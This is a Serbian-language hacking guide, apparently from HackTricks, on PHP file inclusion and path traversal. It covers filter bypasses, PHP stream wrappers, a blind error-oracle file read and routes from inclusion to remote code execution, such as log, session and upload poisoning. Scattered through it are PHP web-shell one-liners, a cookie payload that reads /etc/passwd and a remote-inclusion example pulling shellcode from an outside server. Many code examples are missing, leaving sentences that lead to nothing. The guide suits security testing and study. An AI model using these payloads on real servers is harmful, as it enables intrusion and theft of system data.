File Inclusion/Path traversal
Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
Uvidi u hakovanje Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
Vesti o hakovanju u realnom vremenu Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
Najnovije objave Ostanite informisani o najnovijim nagradama za pronalaženje bagova i bitnim ažuriranjima platformi
Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!
Uključivanje datoteka
Udaljeno uključivanje datoteka (RFI): Datoteka se učitava sa udaljenog servera (Najbolje: Možete napisati kod i server će ga izvršiti). U php-u je ovo onemogućeno po podrazumevanim vrednostima (allow_url_include). Lokalno uključivanje datoteka (LFI): Server učitava lokalnu datoteku.
Ranjivost se javlja kada korisnik na neki način može kontrolisati datoteku koju će server učitati.
Ranjive PHP funkcije: require, require_once, include, include_once
Zanimljiv alat za iskorišćavanje ove ranjivosti: https://github.com/kurobeats/fimap
Slepo - Zanimljivo - LFI2RCE datoteke
Linux
Mešanje nekoliko *nix LFI lista i dodavanje više putanja stvorio sam ovo:
Pokušajte takođe da promenite /
u \
Pokušajte takođe da dodate ../../../../../
Lista koja koristi nekoliko tehnika za pronalaženje datoteke /etc/password (kako bi se proverilo da li postoji ranjivost) može se pronaći ovde
Windows
Spajanje različitih wordlisti:
Pokušajte takođe da promenite /
u \
Pokušajte takođe da uklonite C:/
i dodate ../../../../../
Lista koja koristi nekoliko tehnika za pronalaženje datoteke /boot.ini (kako bi se proverilo da li postoji ranjivost) može se pronaći ovde
OS X
Proverite LFI listu za linux.
Osnovni LFI i obilazi
Svi primeri su za Lokalnu Inkluziju Datoteka, ali se mogu primeniti i na Udaljenu Inkluziju Datoteka (stranica=http://myserver.com/phpshellcode.txt\.
sekvence prolaska očišćene bez rekurzije
Nula bajt (%00)
Bajpas dodavanjem dodatnih karaktera na kraj pruženog stringa (bajpas za: $_GET['param']."php")
Ovo je rešeno od PHP 5.4
Kodiranje
Mogli biste koristiti neobična kodiranja poput dvostrukog URL kodiranja (i drugih):
Iz postojeće fascikle
Možda back-end proverava putanju fascikle:
Istraživanje direktorijuma fajl sistema na serveru
Fajl sistem servera može se istraživati rekurzivno kako bi se identifikovali direktorijumi, a ne samo fajlovi, koristeći određene tehnike. Ovaj proces uključuje određivanje dubine direktorijuma i ispitivanje postojanja određenih foldera. U nastavku je detaljna metoda za postizanje ovoga:
Odredite Dubinu Direktorijuma: Utvrdite dubinu trenutnog direktorijuma tako što ćete uspešno dohvatiti fajl
/etc/passwd
(primenljivo ako je server zasnovan na Linuxu). Primer URL adrese može biti struktuiran na sledeći način, što ukazuje na dubinu od tri:
Istražite fascikle: Dodajte ime sumnjive fascikle (npr.
private
) na URL, zatim se vratite na/etc/passwd
. Dodatni nivo direktorijuma zahteva povećanje dubine za jedan:
Tumačenje rezultata: Odgovor servera ukazuje da li postoji traženi folder:
Greška / Bez izlaza: Folder
private
verovatno ne postoji na navedenoj lokaciji.Sadržaj
/etc/passwd
: Potvrđeno je postojanje folderaprivate
.
Rekurzivno istraživanje: Otkriveni folderi mogu se dodatno istražiti za poddirektorijume ili fajlove koristeći istu tehniku ili tradicionalne metode lokalne uključenosti fajlova (LFI).
Za istraživanje direktorijuma na različitim lokacijama u fajl sistemu, prilagodite payload prema potrebi. Na primer, da biste proverili da li /var/www/
sadrži direktorijum private
(pretpostavljajući da je trenutni direktorijum na dubini od 3), koristite:
Tehnika skraćivanja putanje
Skraćivanje putanje je metoda koja se koristi za manipulaciju putanjama datoteka u veb aplikacijama. Često se koristi za pristup ograničenim datotekama zaobilazeći određene sigurnosne mere koje dodaju dodatne karaktere na kraj putanja datoteka. Cilj je da se oblikuje putanja datoteke koja, kada je promenjena sigurnosnom merom, i dalje pokazuje ka željenoj datoteci.
U PHP-u, različite reprezentacije putanje datoteke mogu se smatrati ekvivalentnim zbog prirode fajl sistema. Na primer:
/etc/passwd
,/etc//passwd
,/etc/./passwd
i/etc/passwd/
se tretiraju kao ista putanja.Kada su poslednjih 6 karaktera
passwd
, dodavanje/
(činećipasswd/
) ne menja ciljanu datoteku.Slično tome, ako se
.php
doda na putanju datoteke (kao što jeshellcode.php
), dodavanje/.
na kraj neće promeniti datoteku koja se pristupa.
Navedeni primeri pokazuju kako iskoristiti skraćivanje putanje da bi se pristupilo /etc/passwd
, čestoj meti zbog osetljivog sadržaja (informacije o korisničkim nalozima):
U ovim scenarijima, broj potrebnih prolaza može biti oko 2027, ali taj broj može varirati na osnovu konfiguracije servera.
Korišćenje tačkastih segmenata i dodatnih karaktera: Traversing sekvence (
../
) kombinovane sa dodatnim tačkastim segmentima i karakterima mogu se koristiti za navigaciju kroz sistem datoteka, efikasno ignorišući dodate stringove od strane servera.Određivanje potrebnog broja prolaza: Kroz isprobavanje, može se pronaći precizan broj
../
sekvenci potrebnih za navigaciju do korenskog direktorijuma, a zatim do/etc/passwd
, osiguravajući da su neutralisani svi dodati stringovi (poput.php
), ali da željena putanja (/etc/passwd
) ostane netaknuta.Početak sa lažnim direktorijumom: Uobičajena praksa je započeti putanju sa nepostojećim direktorijumom (kao što je
a/
). Ova tehnika se koristi kao preventivna mera ili za ispunjavanje zahteva logike parsiranja putanje servera.
Prilikom korišćenja tehnika skraćivanja putanje, ključno je razumeti ponašanje parsiranja putanje servera i strukturu sistema datoteka. Svaki scenario može zahtevati drugačiji pristup, a testiranje je često neophodno kako bi se pronašla najefikasnija metoda.
Ova ranjivost je ispravljena u PHP 5.3.
Trikovi za zaobilaženje filtera
Udаljenо uključivanje fаjlа
U php-u je ovo onemogućeno po default-u jer je allow_url_include
postavljen na Off. Morа biti On dа bi rаdilo, i u tom slučаju možete uključiti PHP fаjl sа svog serverа i dobiti RCE:
Ako je iz nekog razloga allow_url_include
podešen na On, ali PHP filtrira pristup spoljnim web stranicama, prema ovom postu, možete koristiti na primer data protokol sa base64 da dekodirate b64 PHP kod i dobijete RCE:
U prethodnom kodu, krajnji +.txt
je dodat jer napadaču treba string koji se završava sa .txt
, tako da string završava sa tim i nakon b64 dekodiranja taj deo će vratiti samo smeće, a pravi PHP kod će biti uključen (i stoga, izvršen).
Još jedan primer ne koristeći php://
protokol bio bi:
Python Root element
U Pythonu u kodu poput ovog:
Ako korisnik prosledi apsolutnu putanju do file_name
, prethodna putanja se jednostavno uklanja:
To je željeno ponašanje prema dokumentaciji:
Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od apsolutne putanje komponente.
Java Listanje direktorijuma
Izgleda da ako imate Traversiranje putanje u Javi i zatražite direktorijum umesto fajla, vraća se lista direktorijuma. Ovo se neće događati u drugim jezicima (koliko ja znam).
Top 25 parametara
Evo liste od 25 najvažnijih parametara koji bi mogli biti ranjivi na lokalnu uključenost fajlova (LFI) (sa linka):
LFI / RFI korišćenjem PHP omotača i protokola
php://filter
PHP filteri omogućavaju obavljanje osnovnih operacija modifikacije nad podacima pre nego što budu pročitani ili napisani. Postoje 5 kategorija filtera:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Uklanja tagove iz podataka (sve između znakova "<" i ">")Imajte na umu da je ovaj filter nestao iz modernih verzija PHP-a
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transformiše u drugo kodiranje (convert.iconv.<input_enc>.<output_enc>
). Da biste dobili listu svih podržanih kodiranja, pokrenite u konzoli:iconv -l
Zloupotrebom convert.iconv.*
filtera za konverziju možete generisati proizvoljan tekst, što može biti korisno za pisanje proizvoljnog teksta ili izvršavanje funkcije poput uključivanja proizvoljnog teksta. Za više informacija pogledajte LFI2RCE putem php filtera.
zlib.deflate
: Kompresuje sadržaj (korisno ako se izvlači puno informacija)zlib.inflate
: Dekompresuje podatkemcrypt.*
: Zastarelomdecrypt.*
: ZastareloOstali filteri
Pokretanjem
var_dump(stream_get_filters());
u PHP-u možete pronaći nekoliko neočekivanih filtera:consumed
dechunk
: vraća HTTP chunked kodiranjeconvert.*
Deo "php://filter" je neosetljiv na velika i mala slova
Korišćenje php filtera kao orakula za čitanje proizvoljnih fajlova
U ovom postu je predložena tehnika za čitanje lokalnog fajla bez dobijanja izlaza od servera. Ova tehnika se zasniva na boolean eksfiltraciji fajla (po karakter) korišćenjem php filtera kao orakula. Ovo je zato što se php filteri mogu koristiti da naprave tekst dovoljno velik da izazovu izuzetak u php-u.
U originalnom postu možete pronaći detaljno objašnjenje tehnike, ali evo brzog sažetka:
Koristite kod
UCS-4LE
da ostavite vodeći karakter teksta na početku i da povećate veličinu stringa eksponencijalno.Ovo će se koristiti da generiše tekst toliko velik kada se tačno pogodi početno slovo da će php izazvati grešku
Filter dechunk će ukloniti sve ako prvo slovo nije heksadecimalno, tako da možemo znati da li je prvo slovo heks.
Ovo, zajedno sa prethodnim (i drugim filterima zavisno od pogodjenog slova), će nam omogućiti da pogodimo slovo na početku teksta videći kada uradimo dovoljno transformacija da ne bude heksadecimalni karakter. Jer ako je heks, dechunk neće obrisati i početna bomba će izazvati php grešku.
Kod convert.iconv.UNICODE.CP930 transformiše svako slovo u sledeće (tako da nakon ovog koda: a -> b). Ovo nam omogućava da otkrijemo da li je prvo slovo
a
na primer jer ako primenimo 6 ovih kodova a->b->c->d->e->f->g slovo više nije heksadecimalni karakter, stoga dechunk ga neće obrisati i php greška će biti izazvana jer se množi sa početnom bombom.Korišćenjem drugih transformacija poput rot13 na početku moguće je procuriti druge karaktere poput n, o, p, q, r (i druge kodove možemo koristiti da pomerimo druge karaktere u heks opseg).
Kada je početno slovo broj, potrebno ga je enkodovati u base64 i procuriti prva 2 slova da bi procurili broj.
Konačni problem je videti kako procuriti više od početnog slova. Korišćenjem filtera za redosled memorije poput convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE je moguće promeniti redosled karaktera i dobiti na prvoj poziciji druge karaktere teksta.
I kako bi bilo moguće dobiti dodatne podatke ideja je da se generiše 2 bajta beskorisnih podataka na početku sa convert.iconv.UTF16.UTF16, primeni se UCS-4LE da bi se povezao sa sledeća 2 bajta, i obrišu podaci do beskorisnih podataka (ovo će ukloniti prva 2 bajta početnog teksta). Nastaviti sa ovim dok se ne dostigne željeni bit za procuriti.
U postu je takođe procurio alat za automatsko izvođenje ovoga: php_filters_chain_oracle_exploit.
php://fd
Ovaj omotač omogućava pristup deskriptorima fajlova koje proces ima otvorene. Potencijalno korisno za eksfiltraciju sadržaja otvorenih fajlova:
Možete takođe koristiti php://stdin, php://stdout i php://stderr da pristupite file descriptorima 0, 1 i 2 redom (nisam siguran kako bi ovo moglo biti korisno u napadu)
zip:// i rar://
Otpremite Zip ili Rar fajl sa PHPShell-om unutra i pristupite mu. Da biste mogli zloupotrebiti rar protokol, potrebno je da bude posebno aktiviran.
data://
data://
Imajte na umu da je ovaj protokol ograničen php konfiguracijama allow_url_open
i allow_url_include
expect://
Expect mora biti aktiviran. Možete izvršiti kod koristeći ovo:
ulaz://
Navedite svoj payload u POST parametrima:
phar://
.phar
datoteka može se koristiti za izvršavanje PHP koda kada veb aplikacija koristi funkcije poput include
za učitavanje datoteka. PHP kodni odlomak koji je dat ispod demonstrira kreiranje .phar
datoteke:
Da biste kompajlirali .phar
fajl, treba izvršiti sledeću komandu:
Prilikom izvršavanja, biće kreiran fajl pod nazivom test.phar
, koji bi potencijalno mogao biti iskorišćen za eksploataciju ranjivosti lokalnog uključivanja fajlova (LFI).
U slučajevima kada LFI samo vrši čitanje fajlova bez izvršavanja PHP koda unutar njih, kroz funkcije poput file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, ili filesize()
, može se pokušati eksploatacija ranjivosti de-serijalizacije. Ova ranjivost je povezana sa čitanjem fajlova korišćenjem phar
protokola.
Za detaljnije razumevanje eksploatacije ranjivosti de-serijalizacije u kontekstu fajlova .phar
, pogledajte dokument koji je povezan ispod:
Phar Vodič za Eksploataciju De-serijalizacije
pagephar:// deserializationViše protokola
Proverite više mogućih protokola za uključivanje ovde:
php://memory i php://temp — Pisanje u memoriji ili u privremenom fajlu (nije sigurno kako ovo može biti korisno u napadu uključivanja fajlova)
file:// — Pristupanje lokalnom fajl sistemu
http:// — Pristupanje HTTP(s) URL-ovima
ftp:// — Pristupanje FTP(s) URL-ovima
zlib:// — Streamovi kompresije
glob:// — Pronalaženje putanja koje odgovaraju obrascu (Ne vraća ništa štampabilno, pa nije zaista korisno ovde)
ssh2:// — Secure Shell 2
ogg:// — Audio streamovi (Nije korisno za čitanje proizvoljnih fajlova)
LFI putem 'assert' funkcije u PHP-u
Rizici lokalnog uključivanja fajlova (LFI) u PHP-u su posebno visoki kada se radi sa 'assert' funkcijom, koja može izvršiti kod unutar stringova. Ovo je posebno problematično ako se proverava ulaz koji sadrži karaktere pretrage direktorijuma poput "..", ali nije pravilno saniran.
Na primer, PHP kod može biti dizajniran da spreči pretragu direktorijuma na sledeći način:
Iako ovo ima za cilj da zaustavi prolazak, nenamerno stvara vektor za ubacivanje koda. Da bi iskoristio ovo za čitanje sadržaja datoteke, napadač bi mogao koristiti:
Slično tome, za izvršavanje proizvoljnih sistemskih komandi, može se koristiti:
Važno je URL-kodirati ove payload-e.
Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
Hakerski uvidi Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
Vesti o hakovanju u realnom vremenu Budite u toku sa dinamičnim svetom hakovanja kroz vesti i uvide u realnom vremenu
Poslednje najave Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platformi
Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!
PHP Slepa putanja prolaza
Ova tehnika je relevantna u slučajevima kada kontrolišete putanju datoteke PHP funkcije koja će pristupiti datoteci ali nećete videti sadržaj datoteke (kao jednostavan poziv file()
) ali sadržaj nije prikazan.
U ovom neverovatnom postu objašnjeno je kako se slepa putanja prolaza može zloupotrebiti putem PHP filtera da bi se eksfiltrirao sadržaj datoteke putem greške orakla.
U suštini, tehnika koristi "UCS-4LE" kodiranje da bi sadržaj datoteke bio toliko veliki da će PHP funkcija koja otvara datoteku izazvati grešku.
Zatim, kako bi se otkrio prvi karakter, filter dechunk
se koristi zajedno sa drugim kao što su base64 ili rot13 i na kraju se koriste filteri convert.iconv.UCS-4.UCS-4LE i convert.iconv.UTF16.UTF-16BE da bi se postavili drugi karakteri na početak i otkrili ih.
Funkcije koje mogu biti ranjive: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (samo cilj čitanje samo sa ovim)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Za tehničke detalje pogledajte pomenuti post!
LFI2RCE
Udaljeno uključivanje datoteka
Kao što je objašnjeno ranije, pratite ovaj link.
Putem Apache/Nginx log datoteke
Ako je Apache ili Nginx server ranjiv na LFI unutar funkcije uključivanja, možete pokušati pristupiti /var/log/apache2/access.log
ili /var/log/nginx/access.log
, postaviti unutar korisničkog agenta ili unutar GET parametra PHP shell poput <?php system($_GET['c']); ?>
i uključiti tu datoteku
Imajte na umu da ako koristite dvostruke navodnike za shell umesto jednostrukih navodnika, dvostruki navodnici će biti izmenjeni u string "quote;", PHP će baciti grešku tamo i ništa drugo neće biti izvršeno.
Takođe, pobrinite se da ispravno napišete payload ili će PHP greška svaki put kada pokuša da učita log datoteku i nećete imati drugu priliku.
Ovo takođe može biti urađeno i u drugim logovima ali budite oprezni, kod unutar logova može biti URL kodiran i to može uništiti Shell. Zaglavlje autorizacija "osnovno" sadrži "korisnik:lozinka" u Base64 i dekodira se unutar logova. PHPShell može biti ubačen unutar ovog zaglavlja. Drugi mogući putanje logova:
Putanja rečnika za Fuzzing: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Putem Email-a
Pošaljite e-poštu na interni nalog (user@localhost) koja sadrži vaš PHP payload poput <?php echo system($_REQUEST["cmd"]); ?>
i pokušajte da je uključite u e-poštu korisnika sa putanjom poput /var/mail/<KORISNIČKO_IME>
ili /var/spool/mail/<KORISNIČKO_IME>
Putem /proc/*/fd/*
Postavite mnogo shell skripti (na primer: 100)
Uključite http://example.com/index.php?page=/proc/$PID/fd/$FD, gde je $PID PID procesa (može se probati silom) i $FD deskriptor fajla (takođe se može probati silom)
Putem /proc/self/environ
Kao datoteka sa zapisima, pošaljite payload u User-Agent, biće reflektovan unutar datoteke /proc/self/environ
Preko otpreme
Ako možete da otpremite datoteku, jednostavno ubacite shell payload u nju (npr: <?php system($_GET['c']); ?>
).
Putem otpreme ZIP fajla
Otpremite ZIP fajl koji sadrži komprimovan PHP shell i pristupite:
Preko PHP sesija
Proverite da li veb sajt koristi PHP sesije (PHPSESSID)
U PHP-u, ove sesije se čuvaju u fajlovima /var/lib/php5/sess\[PHPSESSID]_
Postavite kolačić na <?php system('cat /etc/passwd');?>
Koristite LFI da biste uključili PHP sesijski fajl
Preko ssh
Ako je ssh aktivan, proverite koji se korisnik koristi (/proc/self/status & /etc/passwd) i pokušajte pristupiti <HOME>/.ssh/id_rsa
Preko vsftpd logova
Logovi za FTP server vsftpd se nalaze na lokaciji /var/log/vsftpd.log. U scenariju gde postoji ranjivost lokalnog uključivanja datoteka (LFI), i pristup izloženom vsftpd serveru je moguć, mogu se razmotriti sledeći koraci:
Ubacite PHP payload u polje za korisničko ime tokom procesa prijave.
Nakon ubacivanja, iskoristite LFI da biste dobili server logove sa /var/log/vsftpd.log.
Preko php base64 filtera (koristeći base64)
Kao što je prikazano u ovom članku, PHP base64 filter jednostavno ignoriše Non-base64. Možete koristiti to da biste zaobišli proveru ekstenzije datoteke: ako dostavite base64 koji se završava sa ".php", on bi jednostavno ignorisao "." i dodao "php" na base64. Evo primera payloada:
Putem php filtera (bez potrebe za datotekom)
Ovaj opis objašnjava da možete koristiti php filtere za generisanje proizvoljnog sadržaja kao izlaz. Što u osnovi znači da možete generisati proizvoljni php kod za uključivanje bez potrebe da ga pišete u datoteku.
pageLFI2RCE via PHP FiltersPutem greške segmentacije
Otpremite datoteku koja će biti smeštena kao privremena u /tmp
, zatim u istom zahtevu, izazovite grešku segmentacije, i onda privremena datoteka neće biti obrisana i možete je potražiti.
Putem Nginx temp skladištenja datoteka
Ako ste pronašli Lokalnu Uključenost Datoteke i Nginx je pokrenut ispred PHP-a, možda ćete moći da dobijete RCE pomoću sledeće tehnike:
pageLFI2RCE via Nginx temp filesPutem PHP_SESSION_UPLOAD_PROGRESS
Ako ste pronašli Lokalnu Uključenost Datoteke čak i ako nemate sesiju i session.auto_start
je Isključen
. Ako pružite PHP_SESSION_UPLOAD_PROGRESS
u multipart POST podacima, PHP će omogućiti sesiju za vas. To biste mogli zloupotrebiti da biste dobili RCE:
Putem privremenih otpremanja datoteka u Windows-u
Ako ste pronašli Lokalnu Uključenost Datoteke i server radi na Windows-u, možda ćete dobiti RCE:
pageLFI2RCE Via temp file uploadsPutem phpinfo() (file_uploads = on)
Ako ste pronašli Lokalnu Uključenost Datoteke i datoteka izlaže phpinfo() sa file_uploads = on, možete dobiti RCE:
pageLFI2RCE via phpinfo()Putem compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Otkrivanje putanje
PHP_STREAM_PREFER_STUDIO
+ Otkrivanje putanjeAko ste pronašli Lokalnu Uključenost Datoteke i možete izfiltrirati putanju privremene datoteke ALI server proverava da li datoteka koja treba da bude uključena ima PHP oznake, možete pokušati da zaobiđete tu proveru ovom Trkačkom Uslovu:
pageLFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path DisclosurePutem večnog čekanja + napada brute force
Ako možete zloupotrebiti LFI da otpremite privremene datoteke i naterate server da zastane PHP izvršavanje, tada biste mogli napadati imena datoteka satima da biste pronašli privremenu datoteku:
pageLFI2RCE via Eternal waitingDo Fatalne Greške
Ako uključite bilo koju od datoteka /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Morate uključiti istu datoteku 2 puta da biste izazvali tu grešku).
Ne znam kako je ovo korisno ali možda jeste. Čak i ako izazovete PHP Fatalnu Grešku, privremene datoteke otpremljene PHP-om će biti obrisane.
Reference
Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
Uvidi u Hakovanje Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
Vesti o Hakovanju u Realnom Vremenu Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
Najnovije Obaveštenja Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platforme
Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!
Last updated